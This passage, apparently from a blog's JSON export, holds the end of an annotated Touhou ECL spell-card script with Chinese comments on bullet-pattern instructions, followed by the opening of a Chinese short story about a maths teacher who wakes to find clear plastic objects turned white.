class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e120\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e121\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e122\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e123\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e124\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e125\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e126\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e127\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e128\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e129\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e130\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e131\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e132\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e133\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e134\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e135\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e136\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e137\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e138\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e139\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e140\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e141\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e142\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e143\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e144\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e145\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e146\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e147\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e148\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esub BossCard1()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evar A B C D E F G H; //定义变量\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eunless([-9986] == 0) goto BossCard1_160 0; //判断是否全避,若不是0则是全避\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_615(640.0f); //消掉半径为r范围内的弹幕,消掉的弹幕变为最大得点\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egoto BossCard1_180 0;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBossCard1_160:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_616(640.0f); //消掉半径为r范围内的弹幕,不增加得点\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBossCard1_180:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2 : ins_524(63); // 设置章节数,影响即将出现的符卡立绘,背景以及左上角boss的名字\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4 : ins_569(1); //用来设置击破率\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_11(\u0026#34;BossItemCard\u0026#34;); //调用该函数,猜测为符卡相关设置\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_513(); //重置时间\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_21(); //关闭所有子线程\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_525(); //清除所有单位,有某些flag的不会被清除.\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eunless([-9986] == 0) goto BossCard1_428 4; //判断是否全避,若不是0则是全避\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_615(640.0f); //消掉半径为r范围内的弹幕,消掉的弹幕变为最大得点\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egoto BossCard1_448 4;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBossCard1_428:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_616(640.0f); //消掉半径为r范围内的弹幕,不增加得点\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBossCard1_448:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_523(); //结束符卡模式\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_632(0); //boss每身重置为0,有些特殊攻击模式时启用\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_545(); //重置boss一些参数\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_516(27); //播放音效\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_404(0.0f, 0.0f); //设置移动方向以及速度\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_405(0, 0, 0.0f, 0.0f); //改变移动方式:时间,模式(线性),方向,速度\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_401(0, 0, 0.0f, 0.0f); //移动到:时间,模式,x,y\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[-9949] = 0; //已miss数,每个章节结束时重置为0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[-9948] = 0; //已放的b的数量\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[-9947] = 1; //判断上1符卡是否收取,收则是1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_514(0, 0, 3300, \u0026#34;Boss2\u0026#34;); //载入下一阶段:a,血量,时间,阶段变量名\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e!EN\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_537(78, 3300, 500000, \u0026#34;「掌の純光」\u0026#34;);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e!H\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_537(78, 3300, 500000, \u0026#34;「掌の純光」\u0026#34;);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e!L\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_537(78, 3300, 500000, \u0026#34;「掌の純光」\u0026#34;);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e!*ins_401(60, 4, 0.0f, 128.0f); //移动到:时间,模式,x,y\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_504(0.0f, 128.0f, 240.0f, 224.0f); //限制boss移动范围:x,y为基准,+-n和m的范围\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_307(1, 79); //播放ANM文件a的第b个动画效果\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_307(1, 75); //播放ANM文件a的第b个动画效果\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_516(54); //播放音效\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e94 : ins_0(); //94帧后调用: 空指令,main开始调用一次\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_23(60); //等待60帧\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$A = 120;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$E = 3;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$F = 10000; //$X为整数变量名,%X为浮点数变量名\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egoto BossCard1_2136 94;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBossCard1_1224:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_302(3); //选择ANM文件\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_316(0, 0); //未知\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$G = 3;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egoto BossCard1_1388 94;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBossCard1_1332:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_11(\u0026#34;BossCard1_at2\u0026#34;); //调用该函数\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_23(100); //等待100帧\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBossCard1_1388:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eif $G-- goto BossCard1_1332 94;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_23(60); //等待60帧\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_307(1, 79);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_307(1, 75); //播放ANM文件a的第b个动画效果\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_516(54); //播放音效\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_302(3); //选择ANM文件\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_306(0, 0); //在slot=0上,设置单位贴图=0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_23(60); //等待60帧\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_302(3); //选择ANM文件\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_316(0, 0); //未知\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e% D = [-9998.0f]; //[-9998.0f]=-π至π之间的随机浮点数\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$H = $E;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egoto BossCard1_1872 94;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBossCard1_1732:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_11(\u0026#34;BossCard1_at2\u0026#34;, _ff % D); //调用该符第二阶段\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e% D = (% D + 3.883222f); //%D自增3.883222f\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_23(10); //等待10帧\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBossCard1_1872:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eif\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$H-- goto BossCard1_1732 94;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eunless($E \u0026lt; 4) goto BossCard1_2072 94;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$E = ($E + 1); //%D自增1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBossCard1_2072:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_23(60); //等待60帧\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_306(0, 0); //在slot=0上,设置单位贴图=0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_23(70); //等待60帧\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBossCard1_2136:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eif\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$F-- goto BossCard1_1224 94;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egoto BossCard1_2224 94;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBossCard1_2204:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_23(1000); //等待1000帧\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBossCard1_2224:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eif\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e1 goto BossCard1_2204 94;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_10(); //返回到调用这个过程的地方,不清除当前单位\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esub BossCard1_at()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evar A;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_600(0); //创建编号=0的弹幕\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_607(0, 3); //设置id=0弹幕的效果=3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_602(0, 5, 6); //设置弹幕贴图\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e!E 48;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e!N 96;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e!H 108;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e!LO 112;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e!* //[-1]:指向当前堆栈顶的整数\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_606(0, [-1], 1); //设置弹幕的方向数和层数\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_604(0, 0.0f, 0.0f); //设置弹幕方向为0.0f,每个方向的角度差为r\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_605(0, 0.5f, 0.2f); //设置弹幕速度为0.5f,最慢一层为0.2f\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_611(0, 0, 2, 1, -999999, -999999.0f, -999999.0f); //弹幕变换\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_611(0, 0, 1048576, 1, -999999, -999999.0f, -999999.0f); //弹幕变换\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_611(0, 0, -2147483648, 30, -999999, -999999.0f, -999999.0f); //弹幕变换\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_611(0, 0, 2097152, 30, -999999, 4.0f, -999999.0f); //弹幕变换\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_627(0, 24.0f); //设置id=0弹幕的发弹点:以boss为中心,半径为24.0f\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_614(1, 0); //复制弹幕b到a中\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_610(1, 4, 0, 134217728, 0, 8, 6, 1, -999999.0f, 0.0f, 16.0f, 128.0f); //弹幕变换\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_610(1, 5, 0, 16384, 18, 38, 8, 0, 0.0f, 14.0f, 0.0f, 0.0f); //弹幕变换\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_609(1, 8, 0, 4, 90, -999999, 0.05f, -999999.0f); //弹幕变换\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_609(0, 4, 0, -2147483648, 15, -999999, -999999.0f, -999999.0f); //弹幕变换\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_609(0, 5, 0, 2097152, 30, -999999, 0.7f, -999999.0f); //弹幕变换\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e% A = [-9998.0f]; //[-9998.0f]=-π至π之间的随机浮点数\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_604(0, % A, 0.0f); //设置弹幕方向为%A,每个方向的角度差为r\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_601(0); //发射弹幕id=0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_607(1, 5); //设置id=1弹幕的效果=5(开花)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_604(1, % A, 0.0f); //设置弹幕方向为%A,每个方向的角度差为r\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_601(1); //发射弹幕id=1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_10();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esub BossCard1_at2(A)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evar B;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBossCard1_at2_36:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_600(0); //创建弹幕id=0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_607(0, 1); //设置id=0弹幕的效果=1(普通)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_602(0, 8, 6); //设置弹幕贴图\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_606(0, 1, 1); //设置弹幕的方向数和层数\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_604(0, 1.5707964f, 0.0f); //设置弹幕方向为1.57,每个方向的角度差为0.0f\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_605(0, 6.0f, 1.0f); //设置弹幕速度为6.0f,最慢一层为1.0f\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_608(0, 21, -1); //设置发弹音效21,设置变向音效-1(无音效)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_611(0, 0, 4, 8, 0, 5, 1.5707964f); //弹幕变换:0,通道,mode,a,b,r,s\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_628(0, _f(([-9987.0f] * _f(200)) + _f(0)), _f([-9999.0f] * _f(32))); //设置id=0弹幕发弹基准点x,y\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_601(0); //发射id=0弹幕\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_23(1); //等待1帧\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egoto BossCard1_at2_36 0;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eins_10(); //退出子进程\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2020/12/21/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E9%AD%94%E6%94%B9%E7%AC%94%E8%AE%B0%EF%BC%9AECL%E7%AC%A6%E5%8D%A1%E7%BB%93%E6%9E%84%E8%AF%A6%E8%A7%A3/"},{"title":"圆周率","time":"2020-12-21T05:33:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e一觉醒来,黄成萧就发现这个世界肯定有哪里出了问题。\u003c/p\u003e\u003cp\u003e这并不是因为他身上有些地方有奇怪的感觉——比如他总觉得眼睛不太舒服。对于长期用眼过度的黄成萧,这不是什么值得疑惑的。但是就在昨晚,一定有什么特殊的事情发生了。\u003c/p\u003e\u003cp\u003e比如,他刚睡醒时,习惯性地抓起床边的闹钟,想看看现在几点。但是他没有成功看到时间,闹钟透明的塑料表面变成了银白色。\u003c/p\u003e\u003cp\u003e还没来得及仔细思考这件奇怪的事情,他又发现他床头柜上本来是透明的塑料水杯现在也是白色的。\u003c/p\u003e\u003cp\u003e并不是所有的透明物品都变白了。比如房间中的玻璃窗依然透亮。明媚的阳光透过玻璃直射到床边,照在莫名变白的闹钟和水杯上。散射的光线有些刺眼,让黄成萧产生了一种很不真实的感觉。\u003c/p\u003e\u003cp\u003e黄成萧困惑地皱起眉头,拿起那个已经看不到时间的闹钟,用手指仔细地擦了擦表面,然而这没有起到任何作用。对水杯的擦拭也是无用之功。黄成萧放下手里白色的水杯,摇了摇头,还是按照每天固定的程序从床上爬起来,去卫生间开始洗漱。\u003c/p\u003e\u003cp\u003e客厅和卫生间看起来倒是很正常。用毛巾擦过脸之后,黄成萧已经基本把一大早的怪事放在脑后了。\u003c/p\u003e\u003cp\u003e毕竟,在这个忙碌的年代,每个人从出生开始就有无数的事情要做。\u003c/p\u003e\u003cp\u003e黄成萧是一名教师,教小学数学。他对自己的职业实在说不上很满意,这并不难理解——黄成萧是理论物理学博士,博士期间的研究方向是弯曲时空中的量子场论,这可以说是人类发展到目前为止最为接近世界本源的内容了。这样的一个人,做一名小学老师确实是大材小用的。但是在这个文凭大爆炸的时代,除了科研岗位之外,一个研究如此基础的学科的博士实在是不太好找工作。而科研岗位又面临着两大难题——钱少,人多。并不富裕的家庭、激烈的竞争、微薄的薪水和日渐高涨的物价,让满腔热情的黄成萧不得不对现实妥协。好在中国的教育行业正处在蓬勃发展阶段,一所小学愿意给黄成萧提供一份待遇相当优厚的职务。\u003c/p\u003e\u003cp\u003e学校很是重视黄成萧,在丰厚的薪水之外,学校在他入职时还花了很大的力气做宣传,甚至联系区教育局,把他树立为投身中国基础教育事业的典型榜样。然而黄成萧自己心里清楚,他来这里工作真的只是因为他现在的薪水是他能在大学找到的工作的好几倍。而学校的重视,其实更大程度上是因为他们需要黄成萧作为吸引生源的招牌而已。\u003c/p\u003e\u003cp\u003e虽然对工作没什么热情,但是黄成萧还是一个有责任心的人,也算得上是兢兢业业。洗漱过后,黄成萧就直接走到书房的办公桌前,从一个半新不旧的皮包里拿出一大叠皱皱巴巴的卷子,准备开始批阅。\u003c/p\u003e\u003cp\u003e批卷子这件事情总会让一向性格淡然的黄成萧大动肝火。尤其有几个总是特别马虎的孩子,每次都因为各种不注意审题或者计算错误而被扣分。还是学生的时候,黄成萧也总会因为马虎而领教到老师的批评。学生时代的黄成萧很不解:明明有些同学完全不会做,为什么老师更会对小小的计算错误或者审题错误大动肝火呢?直到真的做了老师,黄成萧才体会到那种为了学生设身处地的惋惜和遗憾的心情。\u003c/p\u003e\u003cp\u003e小测验和作业倒是没有关系,但是一想到有的学生会在那些重要的考试中因为马虎而丢分,黄成萧就觉得心里堵得慌。对于那些家境贫寒、人生中没有太多试错机会的学生,一场重要的考试很可能影响他们的一生,然而有的孩子却仍然会把分数丢在粗心大意上。因此黄成萧一次又一次督促学生:要认真,要认真。\u003c/p\u003e\u003cp\u003e仅仅靠自己督促学生是没有用的。这一点从他正在批阅的卷子中就能看出。尽管黄成萧在考试之前一再强调大家要读完题目再答题,还是有好多学生无视了最后一道“计算阴影部分面积”的题目后,括号中的一行字:本题中圆周率取3.14。\u003c/p\u003e\u003cp\u003e在又一张卷子上画下一个大大的叉后,黄成萧终于忍不住了。他拿起手机,打开微信上的“四年级奥赛班家长群”,打算提醒家长们再和孩子强调一下这个问题。\u003c/p\u003e\u003cp\u003e“各位家长大家好,我刚刚批完了上周五单元测验的卷子,发现有很多同学没有注意读题。最后一道计算题的题干中已经明确给出,圆周率取3.14,而不是我们在三年级时为了简化计算而取的3。请各位家长和孩子们强调一下审题的重要性,此外还要和孩子们强调:圆周率只有在做近似计算的时候可以取3,真正的圆周率不是3,而是一个无限不循环小数,我们一般近似使用3.14。”\u003c/p\u003e\u003cp\u003e点了“发送”按钮之后,黄成萧自然而然地等着那一大堆在自己每次发言后都会出现的“谢谢老师提醒”、“黄老师真是用心了”、“黄老师您辛苦了,我一定和我家轩轩强调”等客套话。可他等了足有一两分钟,家长群依然沉静如水,一点反应都没有。\u003c/p\u003e\u003cp\u003e黄成萧把屏幕往上划了几下,发现了问题所在:他的消息前面现在还有一个转动的小圆圈,那条消息一直没发出去。屏幕左上角网络信号的位置处显示着“无互联网连接”的符号。看来是Wi-Fi出现了问题。\u003c/p\u003e\u003cp\u003e“明明去年刚换了速度特别快的光纤的……”他一边在脑海中抱怨电信公司,一边弯下身子,开始检查书桌下面的路由器。路由器看起来倒是没什么特别的,但是网确实是连不上。\u003c/p\u003e\u003cp\u003e黄成萧打算给电信公司打个电话。可是拿起家中固定电话的听筒,刚打算开始拨号的时候,他的手停在了空中。\u003c/p\u003e\u003cp\u003e他看到电话上透明的数字按键变成了白色。\u003c/p\u003e\u003cp\u003e如果说变白的闹钟和水杯还可以解释为两件怪事在巧合下一起